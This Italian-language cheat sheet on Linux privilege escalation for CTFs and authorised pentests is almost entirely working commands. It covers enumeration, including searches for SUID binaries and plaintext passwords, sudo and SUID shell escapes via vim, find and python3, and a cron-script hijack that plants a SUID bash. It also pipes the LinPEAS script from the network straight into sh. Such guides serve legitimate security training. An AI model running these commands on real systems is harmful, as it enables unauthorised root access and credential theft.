Linux Privilege Escalation: tecniche essenziali per CTF e pentest

Cosa si intende per PrivEsc

Dopo aver ottenuto un primo accesso a un sistema Linux (spesso come utente a basso privilegio), l'obiettivo è elevare i privilegi a root. Questa guida copre i vettori più comuni in ambienti CTF e pentest autorizzati.

Enumerazione iniziale

# Chi sono?
id && whoami

# Cosa posso eseguire come sudo?
sudo -l

# SUID binaries (eseguibili con bit SUID)
find / -perm -4000 -type f 2>/dev/null

# File scrivibili da tutti
find / -writable -type f 2>/dev/null | grep -v proc

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

# Password in chiaro
grep -ri "password" /home /var/www /etc 2>/dev/null

# Versione kernel (cerca exploit su exploit-db)
uname -a

Sudo misconfiguration

# Se sudo -l mostra: (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c '!sh'

# Se sudo -l mostra: (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# GTFOBins: https://gtfobins.github.io/
# Lista completa di bypass per ogni binario

SUID bit exploitation

# Se /usr/bin/find ha SUID:
/usr/bin/find . -exec /bin/sh -p \; -quit

# Se /usr/bin/python3 ha SUID:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Cron job hijacking

Se un cron job esegue uno script scrivibile da te:

# Aggiungi al cron script vulnerabile:
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> /opt/cleanup.sh
# Attendi il cron, poi:
/tmp/rootbash -p

Tool automatizzati

# LinPEAS: controllo completo automatico
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Linux Smart Enumeration
wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh
chmod +x lse.sh && ./lse.sh -l 1